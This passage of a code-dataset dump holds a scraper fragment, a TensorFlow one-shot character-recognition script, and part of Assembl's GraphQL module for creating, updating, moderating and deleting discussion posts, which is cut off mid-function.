response.css('span.date-published::text').get(),\n }\n yield data","repo_name":"hartpoli/WebScrapingV1","sub_path":"sample2.py","file_name":"sample2.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"18118636512","text":"#code from snowkylin's github, see readme for citation\n#modified to support an output of 30 instead of 25 with five-hot\n#excess code that I'm not using (such as ntm) has been removed\n\nfrom utils import OmniglotDataLoader, five_hot_decode\nimport tensorflow as tf\nimport argparse\nimport numpy as np\nfrom model import NTMOneShotLearningModel\nfrom tensorflow.python import debug as tf_debug\nimport output_utils\nimport os\nfrom PIL import Image\nfrom PIL import ImageOps\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--mode', default=\"eval\")\n parser.add_argument('--restore_training', default=False)\n parser.add_argument('--debug', default=False)\n parser.add_argument('--label_type', default=\"five_hot\")\n parser.add_argument('--n_classes', default=14)\n parser.add_argument('--seq_length', default=14)\n parser.add_argument('--augment', default=True)\n parser.add_argument('--model', default=\"MANN\", help='LSTM, MANN, MANN2 or NTM')\n parser.add_argument('--read_head_num', default=4)\n parser.add_argument('--batch_size', default=2)\n parser.add_argument('--num_epoches', default=1000)\n parser.add_argument('--learning_rate', default=1e-3)\n parser.add_argument('--rnn_size', default=200)\n parser.add_argument('--image_width', default=20)\n parser.add_argument('--image_height', default=20)\n parser.add_argument('--rnn_num_layers', default=1)\n parser.add_argument('--memory_size', default=128)\n parser.add_argument('--memory_vector_dim', default=40)\n parser.add_argument('--shift_range', default=1, help='Only for model=NTM')\n parser.add_argument('--write_head_num', default=1, help='Only for model=NTM. For MANN #(write_head) = #(read_head)')\n parser.add_argument('--test_batch_num', default=1)\n parser.add_argument('--n_train_classes', default=1200)\n parser.add_argument('--n_test_classes', default=423)\n parser.add_argument('--save_dir', default='/save/one_shot_learning')\n parser.add_argument('--tensorboard_dir', default='/summary/one_shot_learning')\n args = parser.parse_args()\n if args.mode == 'train':\n train(args)\n elif args.mode == 'test':\n test(args)\n elif args.mode == \"eval\":\n \teval(args)\n\n\ndef train(args):\n model = NTMOneShotLearningModel(args)\n data_loader = OmniglotDataLoader(\n image_size=(args.image_width, args.image_height),\n n_train_classses=args.n_train_classes,\n n_test_classes=args.n_test_classes\n )\n with tf.Session() as sess:\n if args.debug:\n sess = tf_debug.LocalCLIDebugWrapperSession(sess)\n if args.restore_training:\n saver = tf.train.Saver()\n ckpt = tf.train.get_checkpoint_state(args.save_dir + '/' + args.model)\n saver.restore(sess, ckpt.model_checkpoint_path)\n else:\n saver = tf.train.Saver(tf.global_variables())\n tf.global_variables_initializer().run()\n train_writer = tf.summary.FileWriter(args.tensorboard_dir + '/' + args.model, sess.graph)\n #print(args)\n print(\"1st\\t2nd\\t3rd\\t4th\\t5th\\t6th\\t7th\\t8th\\t9th\\t10th\\tbatch\\tloss\")\n for b in range(args.num_epoches):\n\n # Test\n\n if b % 100 == 0:\n x_image, x_label, y = data_loader.fetch_batch(args.n_classes, args.batch_size, args.seq_length,\n type='test',\n augment=args.augment,\n label_type=\"five_hot\")\n feed_dict = {model.x_image: x_image, model.x_label: x_label, model.y: y}\n output, learning_loss = sess.run([model.o, model.learning_loss], feed_dict=feed_dict)\n merged_summary = sess.run(model.learning_loss_summary, feed_dict=feed_dict)\n train_writer.add_summary(merged_summary, b)\n # state_list = sess.run(model.state_list, feed_dict=feed_dict) # For debugging\n # with open('state_long.txt', 'w') as f:\n # print(state_list, file=f)\n accuracy = test_f(args, y, output)\n for accu in accuracy:\n print('%.4f' % accu, end='\\t')\n print('%d\\t%.4f' % (b, learning_loss))\n\n # Save model\n\n if b % 5000 == 0 and b > 0:\n saver.save(sess, args.save_dir + '/' + args.model + '/model.ckpt', global_step=b)\n\n # Train\n\n x_image, x_label, y = data_loader.fetch_batch(args.n_classes, args.batch_size, args.seq_length,\n type='train',\n augment=args.augment,\n label_type=\"five_hot\")\n feed_dict = {model.x_image: x_image, model.x_label: x_label, model.y: y}\n sess.run(model.train_op, feed_dict=feed_dict)\n\n saver.save(sess, args.save_dir + '/' + args.model + '/model.ckpt', global_step=b)\n train_writer.add_graph(sess.graph)\n\n\ndef test(args):\n model = NTMOneShotLearningModel(args)\n print(\"model loaded\")\n data_loader = OmniglotDataLoader(\n image_size=(args.image_width, args.image_height),\n n_train_classses=args.n_train_classes,\n n_test_classes=args.n_test_classes\n )\n saver = tf.train.Saver()\n ckpt = tf.train.get_checkpoint_state(args.save_dir + '/' + args.model)\n print(\"saver created\")\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n saver.restore(sess, ckpt.model_checkpoint_path)\n print(\"Test Result\\n1st\\t2nd\\t3rd\\t4th\\t5th\\t6th\\t7th\\t8th\\t9th\\t10th\\tloss\")\n for b in range(args.test_batch_num):\n x_image, x_label, y = data_loader.fetch_batch(args.n_classes, args.batch_size, args.seq_length,\n type='test',\n augment=args.augment,\n label_type=\"five_hot\")\n #print(x_image)\n feed_dict = {model.x_image: x_image, model.x_label: x_label}\n output, state = sess.run([model.o,model.state_list], feed_dict=feed_dict)\n\n print(\"saving\")\n saver.save(sess, args.save_dir + '/' + args.model + '/memsave/modelTrained.ckpt')\n np.save(\"chars/test.npy\", state[-1])\n print(\"saved\")\n\ndef eval(args):\n print(\"eval\")\n model = NTMOneShotLearningModel(args)\n saver = tf.train.Saver()\n ckpt = tf.train.get_checkpoint_state(args.save_dir + '/' + args.model + \"/memsave\")\n with tf.Session() as sess:\n saver.restore(sess, ckpt.model_checkpoint_path)\n print(\"restored\")\n #load images from anki\n imgs = []\n x = []\n for direc, subdir, file in os.walk(\"evaluation/\"):\n imgs.append([Image.open(direc + filename).copy() for filename in file])\n\n for i in range(len(imgs[0])):\n image = ImageOps.invert(imgs[0][i].convert('L')).resize((20,20))\n np_image = np.reshape(np.array(image, dtype=np.float32),newshape=(20 * 20))\n max_value = np.max(np_image) # normalization is important\n if max_value > 0.:\n np_image = np_image / max_value\n x.append(np_image)\n x = [x, x]\n #create predefined target list, xinput shifted\n fooDict = np.load(\"chars/kanji_list.npy\").item()\n xlab = [fooDict[\"あ\"], fooDict[\"お\"], fooDict[\"か\"],fooDict[\"シ\"],fooDict[\"ソ\"],fooDict[\"ツ\"],fooDict[\"ン\"],fooDict[\"日\"],fooDict[\"月\"],fooDict[\"目\"],fooDict[\"耳\"],fooDict[\"人\"],fooDict[\"火\"],fooDict[\"入\"]]\n keys = [\"あ\",\"お\",\"か\",\"シ\",\"ソ\",\"ツ\",\"ン\",\"day\", \"month\", \"eye\", \"ear\", \"person\", '\"fire\"', \"enter\"]\n xlab = xlab[1:] + [xlab[0]]\n xlab = [xlab, xlab]\n #get outputs\n feed_dict = {model.x_image: x, model.x_label: xlab}\n out = sess.run(model.o, feed_dict=feed_dict)\n #get top 3 predictions from jisho, do the thing with the output, and print\n outDict = np.load(\"chars/output_list.npy\").item()\n for i in range(out.shape[1]):\n print(i)\n for j in range(1,4):\n key = output_utils.combineOut(out[0,i,:], output_utils.getContext(keys[i], 75, j))\n #key = output_utils.combineOut(output_utils.getContext(keys[i], 1, j), output_utils.getContext(keys[i], 1, j))\n\n if key in outDict:\n print(outDict[key])\n else:\n print(key)\n\n\ndef test_f(args, y, output):\n correct = [0] * args.seq_length\n total = [0] * args.seq_length\n y_decode = five_hot_decode(y)\n output_decode = five_hot_decode(output)\n for i in range(np.shape(y)[0]):\n y_i = y_decode[i]\n output_i = output_decode[i]\n # print(y_i)\n # print(output_i)\n class_count = {}\n for j in range(args.seq_length):\n if y_i[j] not in class_count:\n class_count[y_i[j]] = 0\n class_count[y_i[j]] += 1\n total[class_count[y_i[j]]] += 1\n if y_i[j] == output_i[j]:\n correct[class_count[y_i[j]]] += 1\n return [float(correct[i]) / total[i] if total[i] > 0. else 0. for i in range(1, 11)]\n\n\nif __name__ == '__main__':\n main()","repo_name":"thefxperson/ISEF-JOCR","sub_path":"one_shot_learning.py","file_name":"one_shot_learning.py","file_ext":"py","file_size_in_byte":9441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33586798247","text":"from datetime import datetime\n\nimport graphene\nfrom graphene.relay import Node\nfrom graphene_sqlalchemy import SQLAlchemyObjectType\nfrom pyramid.httpexceptions import HTTPUnauthorized\nfrom pyramid.i18n import TranslationStringFactory\nfrom sqlalchemy.orm import joinedload\nfrom sqlalchemy import exists\n\nfrom assembl import models\nfrom assembl.auth import (\n Everyone, P_MODERATE, P_DELETE_MY_POST, P_DELETE_POST, P_ADD_SIDE_COMMENT, CrudPermissions)\nfrom assembl.auth.util import get_permissions\nfrom assembl.lib.clean_input import sanitize_html, sanitize_text\nfrom assembl.models.auth import (LanguagePreferenceCollection,\n LanguagePreferenceCollectionWithDefault)\nfrom jwzthreading import restrip_pat\n\nimport assembl.graphql.docstrings as docs\nfrom .permissions_helpers import (\n require_cls_permission, require_instance_permission, require_specific_permission)\nfrom .attachment import Attachment\nfrom .idea import Idea, TagResult\nfrom .langstring import (LangStringEntry, resolve_best_langstring_entries,\n resolve_langstring)\nfrom .sentiment import SentimentCounts, SentimentTypes\nfrom .types import SecureObjectType, SQLAlchemyInterface\nfrom .user import AgentProfile\nfrom .utils import DateTime, PublicationStates, abort_transaction_on_exception\nfrom .synthesis import Synthesis\nfrom .extract import Extract, ExtractStates, ExtractNatures\nfrom .tag import Tag\n\n_ = TranslationStringFactory('assembl')\n\n\nclass IdeaContentLink(graphene.ObjectType):\n __doc__ = docs.IdeaContentLink.__doc__\n\n idea_id = graphene.Int(description=docs.IdeaContentLink.idea_id)\n post_id = graphene.Int(description=docs.IdeaContentLink.post_id)\n creator_id = graphene.Int(description=docs.IdeaContentLink.creator_id)\n type = graphene.String(required=True, description=docs.IdeaContentLink.type)\n idea = graphene.Field(lambda: Idea, description=docs.IdeaContentLink.idea)\n post = graphene.Field(lambda: Post, description=docs.IdeaContentLink.post)\n creator = graphene.Field(lambda: AgentProfile, description=docs.IdeaContentLink.creator)\n creation_date = DateTime(description=docs.IdeaContentLink.creation_date)\n\n def resolve_idea(self, args, context, info):\n if self.idea_id is not None:\n idea = models.Idea.get(self.idea_id)\n # only resolve if it's an Idea, not a Question\n if type(idea) == models.Idea:\n return idea\n\n def resolve_post(self, args, context, info):\n if self.post_id is not None:\n return models.Post.get(self.post_id)\n\n def resolve_creator(self, args, context, info):\n if self.creator_id is not None:\n return models.AgentProfile.get(self.creator_id)\n\n\nclass PostInterface(SQLAlchemyInterface):\n __doc__ = docs.PostInterface.__doc__\n\n class Meta:\n model = models.Post\n only_fields = ('creator', 'message_classifier')\n # Don't add id in only_fields in an interface or the the id of Post\n # will be just the primary key, not the base64 type:id\n\n creation_date = DateTime(description=docs.PostInterface.creation_date)\n modification_date = DateTime(description=docs.PostInterface.modification_date)\n subject = graphene.String(lang=graphene.String(), description=docs.PostInterface.subject)\n body = graphene.String(lang=graphene.String(), description=docs.PostInterface.body)\n subject_entries = graphene.List(LangStringEntry, lang=graphene.String(), description=docs.PostInterface.subject_entries)\n body_entries = graphene.List(LangStringEntry, lang=graphene.String(), description=docs.PostInterface.body_entries)\n sentiment_counts = graphene.Field(SentimentCounts, description=docs.PostInterface.sentiment_counts)\n my_sentiment = graphene.Field(type=SentimentTypes, description=docs.PostInterface.my_sentiment)\n indirect_idea_content_links = graphene.List(IdeaContentLink, description=docs.PostInterface.indirect_idea_content_links)\n extracts = graphene.List(Extract, description=docs.PostInterface.extracts)\n parent_id = graphene.ID(description=docs.PostInterface.parent_id)\n db_id = graphene.Int(description=docs.PostInterface.db_id)\n body_mime_type = graphene.String(required=True, description=docs.PostInterface.body_mime_type)\n publication_state = graphene.Field(type=PublicationStates, description=docs.PostInterface.publication_state)\n attachments = graphene.List(Attachment, description=docs.PostInterface.attachments)\n original_locale = graphene.String(description=docs.PostInterface.original_locale)\n publishes_synthesis = graphene.Field(lambda: Synthesis, description=docs.PostInterface.publishes_synthesis)\n type = graphene.String(description=docs.PostInterface.type)\n discussion_id = graphene.String(description=docs.PostInterface.discussion_id)\n modified = graphene.Boolean(description=docs.PostInterface.modified)\n parent_post_creator = graphene.Field(lambda: AgentProfile, description=docs.PostInterface.parent_post_creator)\n parent_extract_id = graphene.ID(description=docs.PostInterface.parent_extract_id)\n keywords = graphene.List(TagResult, description=docs.PostInterface.keywords)\n nlp_sentiment = graphene.Float(description=docs.PostInterface.nlp_sentiment)\n tags = graphene.List(Tag, description=docs.PostInterface.tags)\n\n def resolve_db_id(self, args, context, info):\n return self.id\n\n def resolve_extracts(self, args, context, info):\n return self.db.query(models.Extract\n ).join(models.Content, models.Extract.content == self\n ).options(joinedload(models.Extract.text_fragment_identifiers)\n ).order_by(models.Extract.creation_date\n ).all()\n\n def resolve_subject(self, args, context, info):\n # Use self.subject and not self.get_subject() because we still\n # want the subject even when the post is deleted.\n subject = resolve_langstring(self.subject, args.get('lang'))\n return subject\n\n def resolve_body(self, args, context, info):\n body = resolve_langstring(self.get_body(), args.get('lang'))\n return body\n\n def resolve_parent_post_creator(self, args, context, info):\n if self.parent_id:\n post = models.Content.get(self.parent_id)\n return post.creator\n\n @staticmethod\n @abort_transaction_on_exception\n def _maybe_translate(post, locale, request):\n if request.authenticated_userid == Everyone:\n # anonymous cannot trigger translations\n return\n if locale:\n lpc = LanguagePreferenceCollectionWithDefault(locale)\n else:\n lpc = LanguagePreferenceCollection.getCurrent(request)\n for ls in (post.body, post.subject):\n source_locale = ls.first_original().locale_code\n pref = lpc.find_locale(source_locale)\n target_locale = pref.translate_to_locale\n if not target_locale:\n continue\n target_locale = target_locale.code\n if not ls.closest_entry(target_locale):\n post.maybe_translate(lpc)\n # flush so abort_transaction_on_exception decorator can catch the error\n post.db.flush()\n\n def resolve_subject_entries(self, args, context, info):\n # Use self.subject and not self.get_subject() because we still\n # want the subject even when the post is deleted.\n PostInterface._maybe_translate(self, args.get('lang'), context)\n subject = resolve_best_langstring_entries(\n self.subject, args.get('lang'))\n return subject\n\n def resolve_body_entries(self, args, context, info):\n PostInterface._maybe_translate(self, args.get('lang'), context)\n body = resolve_best_langstring_entries(\n self.get_body(), args.get('lang'))\n return body\n\n def resolve_sentiment_counts(self, args, context, info):\n # get the sentiment counts from the cache if it exists instead of\n # tiggering a sql query\n cache = getattr(context, 'sentiment_counts_by_post_id', None)\n if cache is not None:\n sentiment_counts = {\n name: 0 for name in models.SentimentOfPost.all_sentiments\n }\n sentiment_counts.update(cache[self.id])\n else:\n sentiment_counts = self.sentiment_counts\n\n return SentimentCounts(\n dont_understand=sentiment_counts['dont_understand'],\n disagree=sentiment_counts['disagree'],\n like=sentiment_counts['like'],\n more_info=sentiment_counts['more_info'],\n )\n\n def resolve_my_sentiment(self, args, context, info):\n my_sentiment = self.my_sentiment\n if my_sentiment is None:\n return None\n\n return my_sentiment.name.upper()\n\n def resolve_indirect_idea_content_links(self, args, context, info):\n # example:\n # {'@id': 'local:IdeaContentLink/101',\n # '@type': 'Extract',\n # 'created': '2014-04-25T17:51:52Z',\n # 'idCreator': 'local:AgentProfile/152',\n # 'idIdea': 'local:Idea/52',\n # 'idPost': 'local:Content/1467'},\n # for @type == 'Extract', idIdea may be None\n # @type == 'IdeaRelatedPostLink' for idea links\n links = [IdeaContentLink(\n idea_id=models.Idea.get_database_id(link['idIdea']),\n post_id=models.Post.get_database_id(link['idPost']),\n type=link['@type'],\n creation_date=link['created'],\n creator_id=link['idCreator'])\n for link in self.indirect_idea_content_links_with_cache()]\n # only return links with the IdeaRelatedPostLink type\n return [link for link in links if link.type == 'IdeaRelatedPostLink']\n\n def resolve_parent_id(self, args, context, info):\n if self.parent_id is None:\n return None\n\n return models.Post.graphene_id_for(self.parent_id)\n\n def resolve_body_mime_type(self, args, context, info):\n return self.get_body_mime_type()\n\n def resolve_publication_state(self, args, context, info):\n return self.publication_state.name\n\n def resolve_original_locale(self, args, context, info):\n entry = self.body.first_original()\n if entry:\n return entry.locale_code\n\n return u''\n\n def resolve_type(self, args, context, info):\n return self.__class__.__name__\n\n def resolve_modified(self, args, context, info):\n return self.get_modification_date() > self.creation_date\n\n def resolve_parent_extract_id(self, args, context, info):\n if self.parent_extract_id is None:\n return None\n\n return models.Extract.graphene_id_for(self.parent_extract_id)\n\n def resolve_keywords(self, args, context, info):\n return [TagResult(score=r.score, value=r.value, count=r.count)\n for r in self.nlp_keywords()]\n\n def resolve_nlp_sentiment(self, args, context, info):\n sentiments = self.watson_sentiments\n if sentiments:\n # assume only one for now\n return sentiments[0].sentiment\n\n def resolve_tags(self, args, context, info):\n return self.tags\n\n\nclass Post(SecureObjectType, SQLAlchemyObjectType):\n __doc__ = docs.Post.__doc__\n\n class Meta:\n model = models.Content\n # This matches models.Post and models.ColumnSynthesisPost which\n # inherits from models.Content directly, not models.Post\n interfaces = (Node, PostInterface)\n only_fields = ('id',) # inherits fields from Post interface only\n\n\nclass ExtractComment(SecureObjectType, SQLAlchemyObjectType):\n\n class Meta:\n model = models.ExtractComment\n interfaces = (Node, PostInterface)\n only_fields = ('id', 'parent_extract')\n\n\nclass PostConnection(graphene.Connection):\n\n class Meta:\n node = Post\n\n\nclass PostExtractEntryFields(graphene.AbstractType):\n post_id = graphene.String(required=True, description=docs.PostExtract.post_id)\n offset_start = graphene.Int(required=True, description=docs.PostExtract.offset_start)\n offset_end = graphene.Int(required=True, description=docs.PostExtract.offset_end)\n xpath_start = graphene.String(required=True, description=docs.PostExtract.xpath_start)\n xpath_end = graphene.String(required=True, description=docs.PostExtract.xpath_end)\n body = graphene.String(required=True, description=docs.PostExtract.body)\n lang = graphene.String(required=True, description=docs.PostExtract.lang)\n tags = graphene.List(graphene.String, description=docs.PostExtract.tags)\n\n\nclass PostExtractEntry(graphene.ObjectType, PostExtractEntryFields):\n pass\n\n\nclass PostExtractEntryInput(graphene.InputObjectType, PostExtractEntryFields):\n pass\n\n\nclass CreatePost(graphene.Mutation):\n __doc__ = docs.CreatePost.__doc__\n\n class Input:\n subject = graphene.String(description=docs.CreatePost.subject)\n body = graphene.String(required=True, description=docs.CreatePost.body)\n idea_id = graphene.ID(required=True, description=docs.CreatePost.idea_id)\n # A Post (except proposals in survey phase) can reply to another post.\n # See related code in views/api/post.py\n parent_id = graphene.ID(description=docs.CreatePost.parent_id)\n attachments = graphene.List(graphene.String, description=docs.CreatePost.attachments)\n message_classifier = graphene.String(description=docs.CreatePost.message_classifier)\n publication_state = PublicationStates(description=docs.CreatePost.publication_state)\n extract_id = graphene.ID(description=docs.CreatePost.extract_id)\n\n post = graphene.Field(lambda: Post)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n EMBED_ATTACHMENT = models.AttachmentPurpose.EMBED_ATTACHMENT.value\n discussion_id = context.matchdict['discussion_id']\n\n user_id = context.authenticated_userid or Everyone\n discussion = models.Discussion.get(discussion_id)\n\n idea_id = args.get('idea_id')\n idea_id = int(Node.from_global_id(idea_id)[1])\n in_reply_to_idea = models.Idea.get(idea_id)\n\n phase = in_reply_to_idea.get_associated_phase()\n if not (phase.start < datetime.now() < phase.end):\n error = _(\"Sorry, you can no longer submit a post as the phase is now closed.\")\n raise HTTPUnauthorized(context.localizer.translate(error))\n\n if isinstance(in_reply_to_idea, models.Question):\n cls = models.PropositionPost\n else:\n cls = models.AssemblPost\n\n extract_id = args.get('extract_id')\n if extract_id:\n extract_id_global = int(Node.from_global_id(extract_id)[1])\n extract = models.Extract.get(extract_id_global)\n cls = models.ExtractComment\n\n in_reply_to_post = None\n if (cls == models.AssemblPost) or (cls == models.ExtractComment):\n in_reply_to_post_id = args.get('parent_id')\n if in_reply_to_post_id:\n in_reply_to_post_id = int(\n Node.from_global_id(in_reply_to_post_id)[1])\n if in_reply_to_post_id:\n in_reply_to_post = models.Post.get(in_reply_to_post_id)\n\n require_cls_permission(CrudPermissions.CREATE, cls, context)\n\n with cls.default_db.no_autoflush:\n subject = args.get('subject')\n body = args.get('body')\n classifier = args.get('message_classifier', None)\n body = sanitize_html(body)\n body_langstring = models.LangString.create(body)\n publication_state = models.PublicationStates.from_string(args.get('publication_state')) if args.get('publication_state') in models.PublicationStates.values() else models.PublicationStates.PUBLISHED\n\n if subject:\n subject = sanitize_text(subject)\n subject_langstring = models.LangString.create(subject)\n elif issubclass(cls, models.PropositionPost):\n # Specific case first. Respect inheritance. Since we are using\n # a specific value, construct it with localization machinery.\n subject_langstring = models.LangString.create_localized_langstring( # noqa: E501\n _('Proposal'),\n discussion.discussion_locales, {'fr': 'Proposition'})\n else:\n # We apply the same logic than in views/api/post.py::create_post # noqa: E501\n locale = models.Locale.UNDEFINED\n if in_reply_to_post and in_reply_to_post.get_title():\n original_subject = in_reply_to_post.get_title().first_original()\n locale = original_subject.locale_code\n subject = original_subject.value\n elif in_reply_to_idea:\n # TODO: some ideas have extra langstring titles\n # we try to guess the locale of the body to use the same locale for post's subject\n body_lang, data = discussion.translation_service().identify(\n body_langstring.entries[0].value,\n discussion.discussion_locales)\n\n closest_subject = in_reply_to_idea.title.closest_entry(body_lang)\n if closest_subject:\n subject = closest_subject.value\n locale = closest_subject.locale.code\n else:\n # rather no subject than one in a random locale\n subject = u''\n locale = discussion.main_locale\n else:\n subject = discussion.topic if discussion.topic else ''\n locale = discussion.main_locale\n\n if subject is not None:\n if in_reply_to_idea and in_reply_to_idea.message_view_override == u'messageColumns':\n new_subject = subject\n else:\n new_subject = u'Re: ' + restrip_pat.sub('', subject).strip() # noqa: E501\n\n if (in_reply_to_post and new_subject == subject and\n in_reply_to_post.get_title()):\n # reuse subject and translations\n subject_langstring = in_reply_to_post.get_title().clone(discussion.db)\n else:\n subject_langstring = models.LangString.create(\n new_subject, locale)\n\n if cls == models.ExtractComment:\n new_post = cls(\n discussion=discussion,\n subject=subject_langstring,\n body=body_langstring,\n creator_id=user_id,\n body_mime_type=u'text/html',\n message_classifier=classifier,\n creation_date=datetime.utcnow(),\n publication_state=publication_state,\n parent_extract_id=extract.id\n )\n else:\n new_post = cls(\n discussion=discussion,\n subject=subject_langstring,\n body=body_langstring,\n creator_id=user_id,\n body_mime_type=u'text/html',\n message_classifier=classifier,\n creation_date=datetime.utcnow(),\n publication_state=publication_state\n )\n\n new_post.guess_languages()\n db = new_post.db\n db.add(new_post)\n db.flush()\n\n if in_reply_to_post:\n new_post.set_parent(in_reply_to_post)\n elif in_reply_to_idea and cls != models.ExtractComment:\n # don't create IdeaRelatedPostLink when we have both\n # in_reply_to_post and in_reply_to_idea or if it's a comment\n # for an extract\n idea_post_link = models.IdeaRelatedPostLink(\n creator_id=user_id,\n content=new_post,\n idea=in_reply_to_idea\n )\n db.add(idea_post_link)\n db.flush()\n\n attachments = args.get('attachments', [])\n for document_id in attachments:\n document = models.Document.get(document_id)\n models.PostAttachment(\n document=document,\n discussion=discussion,\n creator_id=context.authenticated_userid,\n post=new_post,\n title=document.title,\n attachmentPurpose=EMBED_ATTACHMENT\n )\n\n db.flush()\n\n return CreatePost(post=new_post)\n\n\nclass UpdateShareCount(graphene.Mutation):\n __doc__ = docs.UpdateShareCount.__doc__\n\n class Input:\n node_id = graphene.ID(required=True, description=docs.UpdateShareCount.node_id)\n\n node = graphene.Field(lambda: Node)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n node_type, node_id = Node.from_global_id(args.get('node_id'))\n node_id = int(node_id)\n node = None\n if node_type == 'Post':\n node = models.Post.get(node_id)\n elif node_type == 'Idea':\n node = models.Idea.get(node_id)\n if node:\n node.increment_share_count()\n return UpdateShareCount(node=node)\n\n\nclass UpdatePost(graphene.Mutation):\n __doc__ = docs.UpdatePost.__doc__\n\n class Input:\n post_id = graphene.ID(required=True, description=docs.UpdatePost.post_id)\n subject = graphene.String(description=docs.UpdatePost.subject)\n body = graphene.String(required=True, description=docs.UpdatePost.body)\n attachments = graphene.List(graphene.String, description=docs.UpdatePost.attachments)\n publication_state = PublicationStates(description=docs.UpdatePost.publication_state)\n\n post = graphene.Field(lambda: Post)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n EMBED_ATTACHMENT = models.AttachmentPurpose.EMBED_ATTACHMENT.value\n user_id = context.authenticated_userid or Everyone\n discussion_id = context.matchdict['discussion_id']\n discussion = models.Discussion.get(discussion_id)\n post_id = args.get('post_id')\n post_id = int(Node.from_global_id(post_id)[1])\n post = models.Post.get(post_id)\n cls = models.Post\n\n permissions = get_permissions(user_id, discussion_id)\n allowed = post.user_can(user_id, CrudPermissions.UPDATE, permissions)\n if not allowed:\n raise HTTPUnauthorized()\n if (post.publication_state == models.PublicationStates.PUBLISHED and\n P_MODERATE not in permissions and\n discussion.preferences['with_moderation']):\n raise HTTPUnauthorized()\n\n changed = False\n subject = args.get('subject')\n if subject:\n subject = sanitize_text(subject)\n body = args.get('body')\n if body:\n body = sanitize_html(body)\n # TODO: Here, an assumption that the modification uses the same\n # language as the original. May need revisiting.\n original_subject_entry = post.subject.first_original()\n # subject is not required, be careful to not remove it if not specified\n if subject and subject != original_subject_entry.value:\n changed = True\n post.subject.add_value(subject, original_subject_entry.locale_code)\n # Edit subject for all descendants\n children = post.children[:]\n new_subject = u'Re: ' + restrip_pat.sub('', subject).strip()\n while children:\n child = children.pop()\n children.extend(child.children)\n child.subject.add_value(\n new_subject, child.subject.first_original().locale_code)\n\n original_body_entry = post.body.first_original()\n if body != original_body_entry.value:\n post.body.add_value(body, original_body_entry.locale_code)\n changed = True\n\n original_attachments = post.attachments\n original_attachments_doc_ids = []\n if original_attachments:\n original_attachments_doc_ids = [\n str(a.document_id) for a in original_attachments]\n\n attachments = args.get('attachments', [])\n for document_id in attachments:\n if document_id not in original_attachments_doc_ids:\n document = models.Document.get(document_id)\n models.PostAttachment(\n document=document,\n discussion=discussion,\n creator_id=context.authenticated_userid,\n post=post,\n title=document.title,\n attachmentPurpose=EMBED_ATTACHMENT\n )\n\n # delete attachments that has been removed\n documents_to_delete = set(original_attachments_doc_ids) - set(attachments) # noqa: E501\n for document_id in documents_to_delete:\n with cls.default_db.no_autoflush:\n document = models.Document.get(document_id)\n post_attachment = post.db.query(\n models.PostAttachment\n ).filter_by(\n discussion_id=discussion_id, post_id=post_id,\n document_id=document_id\n ).first()\n document.delete_file()\n post.db.delete(document)\n post.attachments.remove(post_attachment)\n post.db.flush()\n\n publication_state = models.PublicationStates.from_string(args.get('publication_state')) if args.get('publication_state') in models.PublicationStates.values() else None\n if publication_state and publication_state != post.publication_state:\n post.publication_state = publication_state\n changed = True\n # Update the creation date when switching from draft to published\n if post.publication_state == models.PublicationStates.DRAFT and publication_state == models.PublicationStates.PUBLISHED:\n post.creation_date = datetime.utcnow()\n\n if changed:\n post.modification_date = datetime.utcnow()\n post.body_mime_type = u'text/html'\n post.db.flush()\n post.db.expire(post.subject, [\"entries\"])\n post.db.expire(post.body, [\"entries\"])\n\n return UpdatePost(post=post)\n\n\nclass ValidatePost(graphene.Mutation):\n\n __doc__ = docs.ValidatePost.__doc__\n\n class Input:\n post_id = graphene.ID(required=True, description=docs.ValidatePost.post_id)\n\n post = graphene.Field(lambda: Post)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n discussion_id = context.matchdict['discussion_id']\n user_id = context.authenticated_userid or Everyone\n post_id = args.get('post_id')\n post_id = int(Node.from_global_id(post_id)[1])\n post = models.Post.get(post_id)\n\n permissions = get_permissions(user_id, discussion_id)\n allowed = P_MODERATE in permissions\n if not allowed:\n raise HTTPUnauthorized()\n\n post.publication_state = models.PublicationStates.PUBLISHED\n post.db.flush()\n return ValidatePost(post=post)\n\n\nclass DeletePost(graphene.Mutation):\n __doc__ = docs.DeletePost.__doc__\n\n class Input:\n post_id = graphene.ID(required=True, description=docs.DeletePost.post_id)\n\n post = graphene.Field(lambda: Post)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n user_id = context.authenticated_userid or Everyone\n post_id = args.get('post_id')\n post_id = int(Node.from_global_id(post_id)[1])\n post = models.Post.get(post_id)\n discussion_id = context.matchdict['discussion_id']\n permissions = get_permissions(user_id, discussion_id)\n\n require_instance_permission(CrudPermissions.DELETE, post, context)\n\n # Same logic as in assembl/views/api2/post.py:delete_post_instance\n # Remove extracts associated to this post\n extracts_to_remove = post.db.query(models.Extract).filter(\n models.Extract.content_id == post.id).all()\n for extract in extracts_to_remove:\n extract.tags = []\n extract.delete()\n\n if user_id == post.creator_id and P_DELETE_MY_POST in permissions:\n cause = models.PublicationStates.DELETED_BY_USER\n elif P_DELETE_POST in permissions:\n cause = models.PublicationStates.DELETED_BY_ADMIN\n\n post.delete_post(cause)\n post.db.flush()\n return DeletePost(post=post)\n\n\nclass AddPostExtract(graphene.Mutation):\n __doc__ = docs.AddPostExtract.__doc__\n\n class Input:\n post_id = graphene.ID(required=True, description=docs.AddPostExtract.post_id)\n body = graphene.String(required=True, description=docs.AddPostExtract.body)\n important = graphene.Boolean(description=docs.AddPostExtract.important)\n lang = graphene.String(required=True, description=docs.AddPostExtract.lang)\n xpath_start = graphene.String(required=True, description=docs.AddPostExtract.xpath_start)\n xpath_end = graphene.String(required=True, description=docs.AddPostExtract.xpath_end)\n offset_start = graphene.Int(required=True, description=docs.AddPostExtract.offset_start)\n offset_end = graphene.Int(required=True, description=docs.AddPostExtract.offset_end)\n tags = graphene.List(graphene.String, description=docs.AddPostExtract.tags)\n\n post = graphene.Field(lambda: Post)\n extract = graphene.Field(lambda: Extract)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n discussion_id = context.matchdict['discussion_id']\n user_id = context.authenticated_userid or Everyone\n\n 